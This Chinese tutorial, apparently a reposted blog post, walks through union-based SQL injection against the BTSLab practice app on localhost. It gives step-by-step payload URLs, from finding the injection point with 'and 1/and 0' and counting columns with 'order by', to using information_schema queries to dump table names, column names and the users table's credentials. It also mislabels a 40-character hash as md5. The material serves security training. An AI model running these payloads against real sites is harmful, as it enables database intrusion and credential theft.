zl程序教程

您现在的位置是:首页 >  后端

当前栏目

btslab全攻略——sql注入

注入SQL 全攻略
2023-09-11 14:17:06 时间

sql注入

百度百科--sql注入: 

        sql注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执 行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所 致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。

要了解sql语句以及php对数据库的操作,推荐菜鸟教程

 http://www.runoob.com/php/php-mysql-intro.html http://www.runoob.com/sql/sql-tutorial.html

http://www.runoob.com/mysql/mysql-drop- tables.html

SQL注入的产生原因通常表现在以下几方面:

  • 不当的类型处理
  • 不安全的数据库配置
  • 不合理的查询集处理
  • 不当的错误处理
  • 转义 字符处理不合适
  • 多个提交处理不当

进来便看到一篇文章,再看地址栏,典型的get注入。

1、先判断是数字型注入还是文文本型注入

数字型注入就是这种sql语句

select * from posts where postid=1

而文本型就是类似这种

select * from posts where postid= '1'

两者在利用上的区别就是需不需要闭合引号,显然数字型的不需要,所以通常数字型的sql注入更好利用。

 测试两条语句

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1 

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 0

(浏览器下方的工具是firefox的插件hackbar,挺方便的,推荐大家使用这个)

可以看到第一条成功显示,第二条显示异常,便说明这里的注入点是数字型注入,因为我们没有进行引号的闭合,而第 一条显示成功,是因为后台构造的sql语句合法且合理,select * from posts where postid=1 and 1,所以成功查 询,但是第二条,由于and 0,所以条件变成了永假,查询不到任何数据,前端自然无显示。

2、通过order by语句判断数据列数

order by根据字面意思就可知是通过什么排序,而后面的可跟一个数字,比如order by 2,意思便是根据数据的第2列排 序,我们从order by 1开始测试,发现

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 4 显示正常 

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 5 显示异常

测试到5的时候显示Unknown column '5' in 'order clause',说明查到的数据中没有第5列,由此可见当前数据的列数为 4。

3.union select查询数据库名,表名,以及列名 首先看看数据的显示点

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,4
(为什么union slect 1,2,3,4? 因为union联合查找要求列数相同,上面已经判断了列数为4,所以这里需要4 个,1234随便写的,还可以这样union select 1,2,now(),'aaa')

我这里就利用2这个点来查数据库名吧,mysql中有个函数database(),可显示当前在使用的数据库,所以

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,database(),3,4 

爆出数据库名为bts,当然后面其实可用可不用,因为反正数据库名都可直接用database()这个函数代替。

 

(再补充个知识点,mysql中有个数据库叫做information_schema,这个里有张表叫做tables,其中的table_name列 储存了所有数据库中的所有表名,而table_schema则储存着该表所在的数据库名,group_concat()则可以把多项数据联 合成一个字符串)
我们现在要查当前数据库下有哪些表,所以构造sql语句如下

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

查到当前bts数据库下有4张表messages,posts,tdata,users。

我就选择user继续注入吧 (再补充另一个,mysql中有个数据库叫做information_schema,这个里有张表叫做columns,其中的column_name 列储存了所有数据库中的所有表的列名,而table_name列则储存着该列所在的表名,table_schema列储存着所在的数 据库名)
我们要查当前bts数据库下的users表有哪些列,所以构造语句

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema=database()

查出bts数据库的users表含有ID,username,email,password,about,privilege,avatar列。

然后爆数据吧,想必大家最关心的是username和password,所以我们从user表查username和password,同时用两个 显示点,4和2,于是构造语句

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(username),3,group_concat(password) from users

账号admin,密码5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8(md5解密后是password)